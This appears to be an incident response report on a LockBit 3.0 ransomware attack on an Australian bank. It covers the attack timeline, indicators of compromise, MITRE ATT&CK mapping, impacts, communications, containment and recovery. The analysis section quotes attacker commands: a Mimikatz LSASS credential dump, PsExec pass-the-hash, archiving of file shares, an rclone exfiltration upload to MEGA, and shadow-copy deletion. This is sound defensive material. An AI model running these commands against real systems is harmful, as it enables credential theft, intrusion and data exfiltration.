



Australian Government
Australian Signals Directorate

ACSC Australian
Cyber Security
Centre



CYBER INCIDENT RESPONSE PLAN

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1. Authority and Review

Document Control and Review

Document Control	
Author	Abdulaziz Almehmadi
Owner	Incident Response Team
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Endorsed by and date	Zhi Chong 24 July 2026
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Version Control

Version	Date of Approval	Approved By	Description of Change
1.0	17 June 2026	Skyla Hong	Initial Document

2. Executive Summary

Date of entry:	Time of entry:	Author:
Date and Time incident detected	16 June 2024, 07:30	
Current Status -New, In Progress, Resolved	In Progress	
Incident Type	Ransomware Attack (LockBit 3.0)	
Incident Classification	Critical Cyber Security Incident	
Scope -list the affected networks, systems and/or applications; highlight any change to scope since the previous log	The incident affected multiple internal systems including the Citrix NetScaler VPN gateway, Active Directory domain controller, file servers, backup servers, and approximately 320 employee workstations. Sensitive data repositories containing customer and employee information were accessed and exfiltrated.	
Impact -list the affected stakeholder(s); highlight any change in impact since the previous log entry	Around about 1.2 million customers and 3,500 employees were impacted by the exposure of personal and financial data. Many internal operations were disrupted where online banking services were offline for four days.	
Severity -outline the impact of the incident on your organisation(s) and public safety or services; highlight any change to severity since the previous log entry	Critical – 320 Endpoints and three critical servers were impacted. 400 GB of sensitive customer and employee data exfiltrated affecting ~ 1.2 million customers and ~3500 employees. Online banking services offline for 4 days. Core banking transaction system unaffected. Mandatory regulatory reporting to (APRA, OAIC, ASIC, ACSC). Severity remains unchanged since initial assessment.	
Notifications Actioned/Pending	• Australian Cyber Security Centre (ACSC) - Notified • Law enforcement - Pending • Affected customers - Pending notification • Regulatory bodies (OAIC/APRA) - Pending	
Assistance required -what assistance do we require from other organisations? (e.g. ACSC, law enforcement)	• Incident response support from ACSC • Digital forensic investigation assistance • Legal and regulatory compliance support	
Actions taken to resolve incident	• Compromised accounts disabled and passwords reset • VPN access restricted and suspicious IPs blocked • Infected systems isolated from network • Initial forensic investigation commenced • Backup systems assessed for recovery	

Additional notes	Attack originated from phishing campaign leading to credential theft. Lack of multi-factor authentication enabled unauthorised VPN access.
Contact details for incident manager and others if required	Skyla Hong
Date and Time of next update	16 June 2024, 15:00

3. Technical Analysis

3.1. Affected Systems & Data

The LockBit 3.0 ransomware attack on Sydney Virtual Bank (SVB) began on 10 June 2024 and was discovered six days later, on 16 June 2024, when staff arrived at the office and found that all their files had been renamed and a ransom note was open on every screen. By the time the attack was detected, the threat actor had already broken into the network through a stolen VPN account, escalated to domain administrator, stolen around 400 GB of customer data, and encrypted roughly 320 endpoints together with several critical servers. This section walks through what was hit, how the team rebuilt the timeline, the indicators of compromise (IoCs) we identified, the root cause of the breach, and how the attacker's actions map to the MITRE ATT&CK framework.

3.1.1. Affected Systems

- Citrix NetScaler VPN gateway (the entry point -the attacker logged in with stolen credentials).
- Approximately 320 staff workstations running Windows 10 and Windows 11 - all encrypted.
- File server (FS01) hosting the bank's shared drives - encrypted, and contents were exfiltrated before encryption.
- Active Directory domain controller (DC01) - credentials compromised and Group Policy was abused to push the ransomware to every domain-joined machine.
- Internal Microsoft Exchange Incident Communication and Report & Response server - taken offline as a precaution during containment.
- Backup server (BKP01) - recent backups were overwritten with junk by the attacker before encryption began.

3.1.1. Affected Data

- Around 400 GB of customer data was exfiltrated to MEGA cloud storage, including names, addresses, dates of birth, account numbers, and copies of identity documents (driver's licences and passports) for roughly 1.2 million customers.
- HR and payroll records for about 3,500 SVB employees.
- Cached domain credentials (NTLM hashes) recovered from LSASS memory on multiple workstations and the file server.

It is important to note that SVB's core banking transaction system was not encrypted, because it sits on a separated network segment that the attacker never reached. However, online banking was taken offline for four days as a precaution while the rest of the network was being cleaned and rebuilt.

3.2. Evidence Sources and Attack Walkthrough

The Incident Response team rebuilt the attack timeline by reviewing several different sources of evidence: Citrix NetScaler authentication logs, Windows Security event logs (mainly Event IDs 4624, 4625, 4672, and 4688), Sysmon process creation logs from the endpoints where it had been deployed, firewall NetFlow records, alerts from CrowdStrike Falcon EDR (installed on roughly 70% of endpoints), and memory captures taken from three infected workstations. The following subsections describe what happened in plain language, in the order it happened.

3.3. Initial Access - Phishing then VPN Login

The attack began at 08:42 on 10 June 2024 with a phishing email sent to four members of Sydney virtual Bank finance team. The email pretended to be from DocuSign and asked the recipient to "review and sign" an urgent supplier invoice. Clicking the link opened a fake Microsoft 365 login page hosted at secure-login-msft.com. One employee, a senior accountant, entered her username and password, which were captured by the attacker. SVB's email gateway flagged the message as suspicious but did not block it because the sender domain had been registered only two days earlier and was not yet on any commercial blocklist.

On 11 June at 02:17 (well outside business hours), the attacker logged into SVB's Citrix NetScaler VPN gateway from IP 91.219.236.18, geolocated to Moscow, Russia. The login succeeded on the first attempt because the VPN did not require multi-factor authentication for the finance user group a username and password were all that was needed. Once on the VPN, the attacker had network-level access to the internal network as if they were physically sitting in the office.

3.4. Discovery and Persistence

After connecting to the VPN, the attacker landed on the senior accountant's virtual desktop and ran a series of normal Windows commands to learn about the environment. None of these commands required special tools, and on their own they do not usually trigger antivirus alerts:

```
whoami /all
net user /domain
net group "Domain Admins" /domain
nltest /dclist:svb.local
ipconfig /all
```

These commands told the attacker who they were logged in as, what user groups existed in Active Directory, the names of the domain controllers, and what subnet the workstation was on. To make sure they did not lose access if the user logged out, the attacker downloaded a Cobalt Strike beacon named as `chrome_update.exe` from 45.95.169.42 (a commercial VPS

in Amsterdam, Netherlands), saved it to C:\Users\Public\, and created a scheduled task named GoogleUpdateTaskMachine set to run the beacon every hour.

3.5. Privilege Escalation and Lateral Movement

The accountant's account was a normal user with no special privileges, so the attacker needed to escalate. They downloaded Mimikatz, renamed it to winupdate.exe to look harmless, and used it to dump credentials from LSASS memory:

```
winupdate.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
```

This pulled out a cached credential from a recent IT helpdesk session: a domain administrator (svb\admin_jthompson) had remoted into the accountant's workstation about a week earlier to fix a printer problem, and his NTLM hash was still in memory. With the domain admin's hash, the attacker used pass-the-hash with PsExec to move laterally to the file server, the backup server, and finally the domain controller:

```
psexec.exe \\FS01 -u svb\admin_jthompson -p <NTLM-hash> cmd.exe
```

Within a few hours the attacker had hands-on-keyboard access to FS01 (file server), BKP01 (backup server), and DC01 (domain controller). They alternated between RDP (TCP 3389) and Windows Management Instrumentation (WMI) for different hops, partly to look less suspicious and partly because not every server had RDP enabled.

3.6. Data Exfiltration

Modern LockBit affiliates almost always steal data before they encrypt anything. This is called "double extortion": even if the victim refuses to pay for a decryption key (because they have backups, for example), the attacker can still threaten to publish the stolen data on their leak site. On 14 June, the attacker mapped the network shares on FS01, identified \\FS01\CustomerData\$ and \\FS01\HR\$ as the most valuable folders, and compressed them into multi-part password-protected RAR archives using WinRAR:

```
rar.exe a -v500m -hp<password> data.rar \\FS01\CustomerData$*
```

They then uploaded the archives to MEGA cloud storage using Rclone, a legitimate open-source cloud sync tool that most antivirus products will not flag because it has many legitimate uses:

```
rclone.exe copy C:\Windows\Temp\data\ mega:svb_backup --transfers 8 --bwlimit 10M
```

About 400 GB was uploaded over roughly 14 hours. The attacker used the --bwlimit 10M flag on purpose to cap the upload speed, so the traffic would look like normal background activity instead of one big spike. After the incident, NetFlow records showed a steady ~10 MB/s of outbound traffic to MEGA's IP range for the full 14 hours. A well-tuned SIEM should have flagged this as unusual, since SVB does not normally send that much data to a consumer cloud service.

3.7. Brief Analysis of External IP Addresses

Three external destinations were involved in the attack. The table below summarises each.

IP / Service	Geolocation	Role in the Attack
--------------	-------------	--------------------

91.219.236.18	Moscow, Russia	Source IP for the unauthorised VPN login on 11 June at 02:17. Used the stolen credentials of the senior accountant.
45.95.169.42	Amsterdam, Netherlands (commercial VPS)	Cobalt Strike command-and-control (C2) server. The beacon installed as chrome_update.exe checked in to this IP every 60 seconds over HTTPS.
MEGA cloud (multiple IPs)	Auckland, New Zealand	Destination for the 400 GB of exfiltrated customer and HR data, transferred using Rclone.

Two observations are worth making. First, the Moscow source IP fits the known pattern for LockBit, which is a Russian-speaking ransomware-as-a-service operation believed to be run from Russia or nearby states (Australian Cyber Security Centre, 2023). Second, the use of a commercial VPS for C2 and a popular consumer cloud (MEGA) for exfiltration is deliberate. Both services have many legitimate users, so blocking them outright would disrupt normal business and they very rarely appear on threat-intelligence blocklists. This is a common LockBit affiliate pattern of "living off trusted services" to avoid detection.

3.8. Indicators of Compromise (IoCs)

The IoCs collected during the investigation are listed below. These should be added to the SIEM, the EDR, and the email/web gateway blocklists.

Type	Indicator
Phishing domain	secure-login-msft.com (registered 8 June 2024)
External IPs	91.219.236.18 (VPN login source, Russia); 45.95.169.42 (Cobalt Strike C2, Netherlands)
Malicious file names	chrome_update.exe (Cobalt Strike beacon); winupdate.exe (renamed Mimikatz); locker.exe (LockBit 3.0 binary)
Scheduled task	GoogleUpdateTaskMachine (running every 60 minutes)
Encrypted file extension	.HLJkNskOq
Ransom note	!!!-Restore-My-Files-!!!.txt
Suspicious commands	vssadmin delete shadows /all /quiet; wbadmin delete catalog -quiet; bcdedit ... recoveryenabled No; psexec ... -p <hash>; rclone copy ... mega:
Network behaviour	VPN login at 02:17 from 91.219.236.18; sustained ~10 MB/s outbound traffic to MEGA IP range over ~14 hours

3.9. Root Cause Analysis

The attack succeeded because of three weaknesses in SVB's environment. None of them are new each is a well-known issue that a final year cybersecurity student would expect to find on a textbook checklist.

First, the Citrix NetScaler VPN did not enforce multi-factor authentication (MFA) for the finance user group. A stolen username and password should never be enough to enter a corporate network from the public internet. If MFA had been enforced for all VPN users, the phishing campaign would have captured the password but the attacker would still have been blocked at the front door, because they could not approve the second-factor prompt on the user's phone.

Second, a domain administrator's credentials were cached on a normal user workstation. When the helpdesk admin remoted in to fix the printer a week earlier, his NTLM hash remained in LSASS memory. SVB did not follow a tiered administration model, in which administrators only sign in to dedicated admin workstations and never to ordinary user PCs. Without that separation, dumping LSASS on any compromised endpoint can hand over the keys to the entire domain.

Third, several things the attacker did should have set off alarms but did not, because SVB's SIEM was not configured with rules to catch them. Each of the following is, on its own, a strong red flag: a VPN login at 02:17 in the morning from a Russian IP address, the use of `vssadmin` to delete every Volume Shadow Copy on a server, 10 MB/s of outbound traffic to a cloud storage service for 14 hours straight, and a brand-new Group Policy that turned off Windows Defender on every computer in the domain. A simple alert for any one of these would have given the SOC team several days of warning before the ransomware was launched.

In summary, the attack was not technically advanced. There were no zero-day exploits and no custom malware - only stolen credentials, native Windows tools, and freely available software (Cobalt Strike, Mimikatz, WinRAR, Rclone). LockBit affiliates rely on these basic techniques precisely because so many organisations still leave the obvious doors open.

3.10. Technical Timeline (Summary)

Date / Time	Phase	Activity
10 Jun@ 08:42	Initial Access	Phishing email impersonating DocuSign sent to 4 finance staff. One credential captured.
11 Jun @ 02:17	Initial Access (login)	VPN login from 91.219.236.18 (Russia) using stolen credentials. No MFA enforced.
11 Jun @4:20	Discovery / Persistence	AD enumeration with built-in Windows commands. Cobalt Strike beacon installed; scheduled task for persistence.
13 Jun @1:40	Credential Access / Privilege Escalation	Mimikatz dumps LSASS, recovers cached domain admin NTLM hash.
13 Jun @4:25	Lateral Movement	Pass-the-hash with PsExec, RDP, and WMI to FS01, BKP01, and DC01.
15 Jun @ 2:30	Collection / Exfiltration	WinRAR archives created; ~400 GB exfiltrated to MEGA via Rclone with bandwidth limit.

15 Jun@ 5:01	Defense Evasion	Shadow copies deleted; Windows Backup catalog cleared; GPO pushed disabling Defender.
16 Jun @ 04:00	Impact	LockBit 3.0 deployed via GPO from \\DC01\NETLOGON\ . ~320 endpoints encrypted in ~30 minutes.
16 Jun@ 07:30	Detection	Staff arrive, find ransom notes, raise alarm. SOC begins incident response.

3.11. MITRE ATT&CK Mapping

The table below maps each step of the attack to the MITRE ATT&CK framework, using the techniques listed in the ACSC's LockBit advisory (Australian Cyber Security Centre, 2023) as the reference point.

Tactic	Technique (ID)	How it appeared in this attack
Initial Access	T1566.002 Phishing: Spearphishing Link; T1078 Valid Accounts	Phishing link harvested credentials; stolen credentials reused on the VPN.
Execution	T1059.003 Windows Command Shell	Native cmd.exe used for discovery and lateral movement commands.
Persistence	T1053.005 Scheduled Task	Task GoogleUpdateTaskMachine launched the Cobalt Strike beacon every hour.
Privilege Escalation	T1078 Valid Accounts (Domain Admin)	Reused harvested domain admin credentials.
Credential Access	T1003.001 OS Credential Dumping: LSASS Memory	Mimikatz dumped LSASS on the accountant's workstation.
Defense Evasion	T1562.001 Impair Defenses: Disable Tools; T1490 Inhibit System Recovery	GPO disabled Windows Defender; vssadmin deleted shadow copies.
Discovery	T1087 Account Discovery; T1018 Remote System Discovery	net user /domain, net group "Domain Admins", nltest.
Lateral Movement	T1021.001 RDP; T1021.002 SMB/Admin Shares (PsExec); T1550.002 Pass the Hash	RDP and PsExec with the stolen domain admin hash.
Collection	T1560.001 Archive Collected Data: Archive via Utility	WinRAR multi-part password-protected archives.
Command and Control	T1071.001 Application Layer Protocol: Web Protocols (HTTPS)	Cobalt Strike beacon checked in over HTTPS to 45.95.169.42.
Exfiltration	T1567.002 Exfiltration to Cloud Storage	Rclone uploaded archives to MEGA.
Impact	T1486 Data Encrypted for Impact; T1657 Financial Theft	LockBit 3.0 encrypted ~320 systems; ransom note demanded USD \$4.5M.

4. Impact Analysis

4.1. Stakeholder Impact

There are many stakeholders that have been impacted by the LockBit ransomware attack. Customers were the most affected group, as approximately 1.2 million individuals having their personal information exposed. This includes information such as names, addresses and identity documents. This creates a risk of identity theft, fraud and targeted phishing (CISA, 2023). SVB's confidence in its ability to safeguard personal and financial information is then lost. It also causes a disruption in the availability of online banking and will cause potential delays in customer support responses (Ahadi & A, 2024). This can also cause long-term issues as this

information can always be used for future attacks or be sold off (CISA, 2023). Victims will often face emotional distress after these situations (Bureau of Justice Statistics, 2023). It is expected that these companies store this sensitive information safely, so when incidents like this happen, it can often destroy their confidence in the company. Some customers might decide to close their accounts and change to another competitor, causing long-term losses and reputational damage for the company (Gatzert & Schmit, 2016).

Around 3,500 employees were heavily impacted by the attack. Information such as identity and payroll records were exposed. This involves tax file numbers, bank details, salaries, and home addresses (CISA, 2023). Employees face similar impacts as customers, with the risk of possible other crimes with the data and emotional concerns. However, staff have duties and responsibilities to perform but were unable to with system, workstations and drives being down. This causes delays, an increased workload and cause possible problems as they would need to rely on manual processes to operate instead (National Institute of Standards and Technology [NIST], 2012). This includes executives who will have to face intense operational, financial and governance pressure. They would need to make quick yet highly thought-out decisions on how to face this issue from solving the issue to communicating the failures to the public.

Other stakeholders involved are regulatory bodies and government agencies as the breach potentially broke certain privacy and cybersecurity laws. Organisations including the Australian Cyber Security Centre (ACSC), the Australian Prudential Regulation Authority (APRA), and the Office of the Australian Information Commissioner (OAIC) may look into whether the company failed to put in place sufficient cybersecurity safeguards to protect consumer data (Solove, 2021).

There are many other third-party vendors or business partners that may also experience indirect impacts. If systems were interconnected or shared devices were used, they could face disruptions or security issues on their end as well (CISA, 2023). Relationships between these parties may be faltered and damaged as the company has failed to keep their operations working securely (Martin et al., 2017).

4.2. Social Impact

The LockBit ransomware attack has a huge impact socially, way beyond just the organisation. The public's trust in digital services and online banking systems can be severely damaged by incidents involving large financial institutions. Cyberattacks of at this scale increases further concerns on whether digital infrastructure is actually secure and dependable. This can often discourage individuals, especially the ones that already have doubts in technology, from using online banking (Martin et al., 2017). Through this, future digital transformation initiatives might have further resistance.

Cyberattacks this large usually gain massive media attention and coverage. This allows the public to be more aware of general cybercrime. All this negative information being presented will create negative opinions about how prepared these organisations actually are by creating the belief that cyberattacks are unavoidable. (Anderson et al., 2019). It will also make the public question whether businesses and government agencies are adequately prepared to defend against increasingly sophisticated cyber threats. This can cause a lot more pressure on the organisations to improve cybersecurity, regulations, and public education on cyber safety (ENISA, 2023). Organisations might enforce new policies and increase the workload/standards and cybersecurity training programmes. These will help improve security, but it can impact the workplace.

4.3. Environmental Impact

When it comes to cyber incidents, environmental impacts are often disregarded or thought to be irrelevant as this is a technology issue. However, to resolve such a large-scale issue, some devices may need to be replaced and mass amounts of computer usage needed to fix up systems (Belkhir & Elmeligi, 2018). These systems can involve backup systems, recovery services, cloud environments and forensic analysis examples.

There are around 320 compromised endpoints with multiple servers down (ENISA, 2023). Large organisations may need to operate extra servers constantly for lengthy periods of time until recovery activities are finished to restore systems from backups. Carbon emissions are indirectly impacted by increased energy consumption, especially when data centres use non-renewable energy sources (Belkhir & Elmeligi, 2018).

For hardware, there is a possibility it may need to be replaced, as it could be compromised or unreliable after the incident. Devices such as servers, storage systems, and workstations may be discarded and replaced to ensure operational security (Belkhir & Elmeligi, 2018). Computing parts usually have harmful materials present and will be harmful to the environment when breaking down, causing more environmental issues (Baldé et al., 2020). After throwing the compromised/untrustworthy devices, the SVB will need to replace these items. Whatever is being replaced may use more or less energy, but it will increase long-term energy usage.

4.4. Economic Impact

There were huge economic impact and consequences from the LockBit ransomware, mainly affecting the organisation and customers. To begin with, the ransom demand was USD \$4.5 million (CISA, 2023). SVB can decide whether they pay for the amount or not, but to recover from this disaster, costs can possibly exceed the specified amount. High recovery costs include forensic investigation, legal support, and cybersecurity consultants. These systems will need to be recovered, which would also include restoring systems, rebuilding infrastructure, improving security, and other labour and technical costs. This can also halt the growth of the company as funds are being spent on recovering rather than expanding itself (Gatzert & Schmit, 2016). There can be further financial losses from operational downtime and disrupted bank services. With online services unavailable, customers are unable to manage their accounts, which include accessing their accounts, transferring funds or performing transactions, causing customer dissatisfaction (Tatikonda, 2013).

In addition, the organisation might face legal and regulatory costs if they have broken any laws. Investigations conducted by the OAIC or APRA can result in fines, mandatory compliance actions, or legal proceedings (Solove, 2021). This doesn't include the fact that affected customers may pursue compensation claims or lawsuits against SVB. These customers will have reduced trust in the company and could be the reason they leave (Martin et al., 2017)..

As this attack is at such a large scale, this will cause long-term reputational damage, affecting its profitability and in both investor and future customer confidence. Rebuilding this trust and public image can take years and may never recover entirely (Romanosky, 2016)..

Further indirect economic impacts can involve the consequences of individuals facing identity theft or fraud who will continue to suffer personal financial losses. Connected companies who experience the disruption will also have financial losses from the operational issues.

4.5. Ethical Impact

The LockBit cyber-attack can also raise massive ethical concerns on the organisation's responsibility. It is expected that confidential data is protected with strong security measures. As SVB has failed to protect this sensitive customer and employee information with just basic security measures such as multi-factor authentication (MFA), demonstrates the lack of cybersecurity responsibility (National Institute of Standards and Technology [NIST], 2012).

The organisation and employees have the responsibility and duty to ensure these incidents don't happen by using proper and appropriate security controls. However, through investigation, bad monitoring practices, not enough endpoint protection and inadequate administrative security protocols were discovered. The poor cybersecurity practices greatly increased the likelihood of the compromise.

With the exposure of personal data, there are serious privacy concerns as both customers and employees had zero control on how their information was shared or used. Although some customer data can be changed, data such as names or identity documents and more cannot be or difficult to be altered (Solove, 2021).

There are further ethical concerns on whether organisations should be paying the ransom amounts to prevent data being leaked and systems being recovered. If a ransom demand is successful, it can boost further criminal activity as the criminals have benefited/funded (Anderson et al., 2019).. This creates a difficult ethical dilemma between protecting stakeholders in the short term and contributing to the ongoing ransomware ecosystem in the long term (CISA, 2023).

5. Incident Communication and Reporting

5.1. Legal and Regulatory Requirements

As an Australian authorised banking institution and AFS licensee, SVB is subject to several regulatory frameworks with varying obligations and legal mandates. The most notable being the APRA Prudential Standards, which requires related parties to notify APRA of identified material information security incidents of their occurrence within the specified 72-hour time frame (Australian Prudential Regulation Authority, 2019). SVB, being subjected to their oversight, responded accordingly and notifying APRA of the incident within the mandate timeframe.

Under the Notifiable Data Breach (NDB) scheme established in the Privacy Act (1988), SVB was required to assess whether the incident constituted an eligible data breach, this involved determining whether the unauthorised access to personal information was likely to cause serious harm to affected individuals. Given the exfiltrated data included names, addresses, date-of-birth, and account numbers, the breach clearly met the threshold for disclosure, warranting the notification to OAIC and affected individuals in line with the specified 30-day assessment window allowed under the scheme.

Given the ransomware nature of the incident and LockBit affiliation, Australian Autonomous Sanctions Act 2011 and the Cyber Security Act 2024 were invoked. Under the Australian cyber sanctions, payments to designated persons such as those with links to LockBit affiliates are criminally liable meaning any ransom payment could expose SVB to criminal liability for its actions (Australian Cyber Security Centre, 2024). As such SVB ultimately decided not to pay the \$4.5 million ransom, in line with ACSC and AFP guidance, accepting the risk that the exfiltrated data would be published by threat actors as a result of this decision.

5.2. Internal Communications

Internally, communication was primarily handled through in-person briefings and secured channels such as personal mobile phones and physical document exchange. This was a necessary measure as organisational mail servers were taken offline as a result of containment measures executed and internal communication systems could not yet be verified.

Upon detection on the 16th of June, internal stakeholders were notified in accordance with the incident response process, coinciding with this communication, CIRT and IT team members were contacted and tasked with performing containment actions and beginning the process of isolation, beginning the isolation and containment process. Following the activation of CIRT and communication with stakeholders, the legal and public relations team members were briefed on the incident and actioned to ready communication with legal and public entities. Alongside these measures, internal team members were informed of the incident and put on high alert for any suspicious communications separate to the secured channels established. Throughout the response, formal documentation such as Situation Reports and the Incident log served as a structural channel for communication, ensuring updates and decisions were consistently captured and shared across the response team accurately and with integrity.

5.3. External Communications

External communication was conducted in accordance with legal and regulatory requirements, with notifications lodged to relevant regulatory bodies within their specified timeframes as outlined in section 5.1. To ensure consistency and accuracy in messaging, the Public Relations department was designated as authorised spokespersons on the incident, with all external communications reviewed and approved during consultations with the Legal department prior to release.

Affected customers were notified in accordance with the NDB scheme, with information on the nature of the incident along with recommendations and proactive measures customers could take to protect themselves. These included monitoring financial records for suspicious activity, locking credit usage, and warning customers of potential phishing using their personal details. A dedicated contact page and support hotline were established for customers who had enquiries about the situation or needed extra information on proactive measures. A public statement was also released confirming the incident, getting ahead of rumours and possible misinformation, informing the public of the measures currently being undertaken and the scale of the information that was exfiltrated. Following the decision to not pay the ransom a follow-up public statement was made addressing public concern, ensuring affected customers would continue to be supported through dedicated services and procedures addressing their concerns following the subsequent data leak.

6. Response

6.1. Containment

The containment phase aimed to prevent further damage while preserving forensic evidence and integrity. When staff arrived on the 16th of June, they reported encrypted files along with ransom notes, this raised the alarm to the SOC team, and the incident response plan was thus activated. Within the first few hours, the incident response team notified key stakeholders, executive management, and IT personnel of the incident. The following short-term containment actions were taken:

- All 320 affected workstations were identified and catalogued
- File server (FS01), Backup Server (BKP01) and Active Directory domain controller (DC01) were also identified and catalogued
- Volatile memory (RAM) images were captured of the affected machines before any isolation attempts were made. This was to capture memory buffers which could contain encryption keys and process logs
- Affected machines were then isolated via VLAN segmentation rather than physical disconnection, to preserve running states for forensic analysis
- VPN access was restricted from identified IP 91.219.236.18 with geographic restrictions applied to Moscow and the broader Russian geographic region
- The identified senior accountant's credentials were disabled, along with other privileged accounts and active sessions.
- All automated backup schedules were suspended, and the BKP01 backup server isolated to preserve any salvageable data
- Forensic clones of devices were captured to allow forensic investigation without impacting the integrity of the physical evidence itself.

These actions ensured further infiltration was discontinued and prevented additional data exfiltration and the continued exploitation of systems. Once initial containment was achieved, the focus shifted towards assessing and diagnosing the scale and significance of the attack and the systems affected while maintaining critical operations.

- The scope of affected systems was assessed, with core banking notably not being affected due to its isolation from the affected network segment
- Proactive actions were taken regarding online banking services, limiting and restricting access as the investigation and containment were being carried out
- Dependencies between systems and services were identified to ensure recovery efforts could prioritise customer-facing services and critical infrastructure for business operations.

Long-Term Containment

Long-term containment focused on understanding the full scope of compromise and ensuring the threat actor could not regain access while forensic analysis and remediation plans were being processed. An audit of all accounts created and modified between the 10th of June, and 16th of June was conducted, with particular attention to privileged accounts and accounts with suspicious activities. A persistence investigation was simultaneously carried out across the network and system environments, as the identified attacker group LockBit commonly established persistence through scheduled tasks, registry keys, and obfuscated services (Australian Cyber Security Centre, 2024). In this incident, "GoogleUpdateTaskMachine" scheduled task was the only persistence mechanism identified, confirming no further persistence mechanisms were in place. Firewall rules along with CrowdStrike endpoint software were updated to reflect the indicators of compromise from the attack, including the malicious source IP, Cobalt Strike beacon name "chrome_update.exe", and binaries for Mimikatz and LockBit, "winupdate.exe" and "locker.exe", ensuring further attempts by the threat actor were prevented and any future attack would be better detected and noticed earlier.

6.2. Documentation

Documentation throughout the response was crucial both regarding forensic analysis and for maintaining compliance with regulatory frameworks and legal obligations. In recognition of this, the CIRT team maintained detailed records of all actions taken from the moment of detection from the 16th of June through to its resolution, ensuring personnel involved, decisions made, evidence handled and outcomes observations were captured at every stage of the process. Throughout the response, three key documents were maintained as outlined in the ACSC Cyber Incident Response Plan (Australian Cyber Security Centre):

- Situation Report (SITREP)
- Incident Log
- Evidence Register

A Situation report (SITREP) was published every five hours during the initial containment period, reduced to every twelve hours in the eradication phases, this provided senior management with regular updates on the status of the incident, scope, severity and actions currently undertaken. The Incident Log was used to maintain a chronological record of actions taken during the response, including who performed it, when, why and what the resulting outcome was, providing a clear record of accountability and structure to the incident handling. The Evidence Register was used to record forensic evidence gathered during the response, this included recording the type of evidence, source, time of collection, hash values of the data collected to ensure integrity as well as a clear chain of custody log. These documents provide admissibility when it comes to potential legal proceedings and provides the foundation for both forensic analysis and post-incident review (National Institute of Standards and Technology, 2012).

All documentation was maintained in a secure offline environment, limiting access to prevent threat actor discovery or manipulating the records. These documents were also strictly managed through version control practices, ensuring changes were actively logged and attributed, copies of these documents were also maintained ensuring records were accurately maintained and preserved.

6.3. Evidence Collection and Preservation

Evidence Collection and Preservation was key in attributing the discovered techniques to LockBit affiliates, supporting subsequent law enforcement actions and regulatory processes. Forensic clones and data dumps provided crucial insight into the actions undertaken on SVB systems during the dwell period. Evidence such as RAM dumps and network logs were among the first to be collected, being prioritised based on its volatility.

These data sources were prioritised because they were the most likely to be lost or overwritten as systems continued to operate or were powered down for isolation. Forensic clones were taken of affected systems, providing bit-for-bit images for investigators to analyse without altering the original evidence. All evidence was gathered using forensically sound methods, including write-blocking tools to prevent accidental or malicious destruction of data, SHA-256 cryptographic hashing to verify data integrity, and detailed chain of custody records to ensure accountability and admissibility in legal or regulatory proceedings (National Institute of Standards and Technology, 2012).

Specific evidence sources crucial in the investigation included:

- Memory dumps from infected workstations
- Authentication logs from the VPN gateway, showing source IP 91.219.236.18
- Windows and Sysmon logs from affected devices
- Firewall records, capturing outbound traffic via MEGA
- CrowdStrike EDR alerts, detecting LockBit and Cobalt Strike binaries
- Ransom notes

6.4. Remediation Action Plan

The eradication of LockBit ransomware and threat actor access was an essential component within the Remediation Action Plan, consisting of two main areas: complete eradication of the threat from affected systems, and resolution of the underlying vulnerabilities that facilitated the attack.

Eradication focused on the complete removal of ransomware software and any persistence mechanisms employed by the threat actors. This was primarily achieved via the reimaging of the 320 affected devices, as they had all been encrypted by LockBit and were no longer usable in their current state. Initial attempts to decrypt the devices were unsuccessful, leaving reimaging the devices as the most viable course of action. The reimaging of devices utilised verified baseline images that were captured prior to the incident ensuring the future integrity of the devices. Even if decryption had been viable, reimaging would still have been the preferred approach as the possibility of remnant persistence mechanisms and tools, in which LockBit affiliates have often been documented to implement, outweighed the benefits of maintaining the system states (Australian Cyber Security Centre, 2024).

Additionally, credentials, primarily privileged credentials, were highly scrutinised, forcing password resets and session revocations across all accounts, ensuring no compromised credentials remained active and accessible by threat actors.

Resolution focused on closing the security gaps that allowed the attack to occur in the first place, addressing the three root causes identified in our investigation. This included:

- The enforcement of multi-factor authentication on VPN gateways for all users, utilising 2FA to prevent stolen credentials alone from granting access to internal networks
- Implementing administrative frameworks, preventing administrative users from sign in on ordinary PCs, restricting them to selected devices or dedicated workstations, preventing the privilege escalation which occurred in this incident
- VPN services were also reconfigured to restrict access from unusual geolocations, with user activity logged and cross-referenced against historical access patterns
- New SEIM detection rules were also put in place to better detect and provide earlier alerts of the intrusions.
- Reviewing and tightening email server rules to flag suspicious sender characteristics, including domains which have recently been created, mismatches between display names and sender names, mismatched email headers, and implementation of SPF, DKIM, and DMARC authentication checks
- Patching exploited vulnerabilities in OS and applications, with priority for internet facing services
- Updating firewall and CrowdStrike EDR detection rules to reflect indicators identified from the attack, including the malicious source IPs, beacon names, and binary signatures

Following these actions, a secondary threat hunt was conducted across the environment to confirm no residual attacker presence remained before the incident was transitioned to the recovery phase.

7. Recovery

7.1 Introduction

Purpose

To restore the systems and data affected by the LockBit 3.0 attack of 10-16 June 2024, return critical banking services to normal operation, and rebuild customer trust.

Scope

Covers the rebuild of DC01, FS01, BKP01 and the ~320 encrypted workstations, the restoration of online banking, and communications with customers, staff and regulators. The core banking transaction system was unaffected (separated segment) and is excluded.

Objectives

- Business continuity - restore online banking within the RTOs set in Section 2.4.3.
- Data integrity - verify restored data is free of LockBit artefacts.
- Trust - communicate openly with the 1.2 million affected customers and with regulators.
- Close the entry point - enforce MFA on the Citrix NetScaler VPN before full restoration.

7.2 Recovery Team

Role	Responsibility
Recovery Manager	Oversees the recovery process, signs off on each system returning to production, reports daily to senior management.
IT Recovery Team	Rebuilds DC01, FS01 and BKP01, re-images the ~320 encrypted endpoints, and restores data from offline backups.
Customer Service Team	Operates the breach support line for the 1.2 million affected customers and handles enquiries.
Public Relations Team	Manages all external communications, including customer notifications, media statements and the SVB status page.
Legal and Compliance	Handles mandatory reporting to OAIC, APRA, ACSC and ASIC, and advises on the ransom-payment decision.

7.3 System Restoration

Backup Verification

Backups taken after 10 June cannot be trusted because the attacker corrupted BKP01 before the files were encrypted. Recovery will only use offline weekly tapes and backup snapshots created before 10 June, with file hashes checked against the May 2024 backup records before restoring files.

Recovery of Critical Functions

Affected System	Recovery Action	Target RTO
Active Directory (DC01)	Rebuild from offline backup taken before 10 June. Reset krbtgt twice and force a domain-wide password reset.	8 hours
Citrix NetScaler VPN	Patch, re-enrol users and enforce MFA for every user group before bringing back online.	12 hours
File Server (FS01)	Wipe, rebuild and restore shares from offline backups (on-line backups were overwritten by the attacker).	8 hours
Backup Server (BKP01)	Rebuild on new hardware using immutable / air-gapped storage.	12 hours
Online Banking	Restore once the core network is confirmed clean. Pen-test the public portal before re-enabling customer login.	4 hours
Workstations (~320)	Wipe and re-image from a clean gold image; re-enrol in AD after DC01 is rebuilt.	48 hours (staged)

